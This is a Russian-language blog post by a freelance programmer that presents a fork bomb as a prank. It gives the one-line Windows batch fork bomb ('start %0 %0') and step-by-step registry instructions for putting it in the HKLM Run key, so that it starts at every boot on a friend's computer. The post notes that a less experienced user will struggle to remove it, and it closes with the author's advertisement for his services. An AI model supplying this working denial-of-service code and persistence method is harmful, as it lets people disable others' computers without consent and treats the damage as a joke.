Fork-бомба, или как сделать, чтобы компьютер завис?


У моих друзей непрограммистов нередко возникают необычные идеи, которые приходится воплощать мне. Одна из них: как сделать, чтобы компьютер завис. Или как сделать, чтобы на нем нельзя было работать? Хотя бы до перезагрузки?

Одним из решений данной задачи является создание так называемой fork-бомбы – программы, которая будет создавать свои копии, которые, в свою очередь, также начнут бесконечно копироваться. Написать эту программу может любой человек за две минуты. Для Windows:

  1. Открываем блокнот.
  2. Пишем в нем "start %0 %0" (без кавычек).
  3. Сохраняем файл как “up.bat” (это например, на самом деле название может быть любым, главное – это указать расширение “.bat” – пакетный файл для Windows).
  4. Запускаем его.
Видим такую картину:



Простой вызов диспетчера задач вам не поможет – процессов за несколько секунд будет уже больше сотни, и их число будет постоянно увеличиваться! Так что придется только перезагружать. А если вы поставите программу в автозагрузку, например, то товарищу, над которым вы хотите подшутить, будет совсем не до шуток. Как это сделать?

  1. Откройте пуск – выполнить – regedit – откроется встроенный редактор реестра.
  2. Открываем в реестре ветку HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run и добавляем в неё новый строковой параметр. Назвать его можно как угодно, а вот значение должно содержать путь к нашей fork-бомбе, то бишь файлу up.bat.


Теперь при загрузке компьютера сразу будет запускаться программа, мешающая работе компьютера. Если пользователь на вы с системой, то убрать её будет не так уж просто.

Вот так можно создать простейшую fork-бомбу.
Автор этого материала - я - Пахолков Юрий. Я оказываю услуги по написанию программ на языках Java, C++, C# (а также консультирую по ним) и созданию сайтов. Работаю с сайтами на CMS OpenCart, WordPress, ModX и самописными. Кроме этого, работаю напрямую с JavaScript, PHP, CSS, HTML - то есть могу доработать ваш сайт или помочь с веб-программированием. Пишите сюда.

тегипрограммы, розыгрыши, шутки, программы шутки




Отправляя сообщение я подтверждаю, что ознакомлен и согласен с политикой конфиденциальности данного сайта.




Урок 2. Ведение в макеты Yii2
Урок 30. Условные операторы C#
Задача по кредиту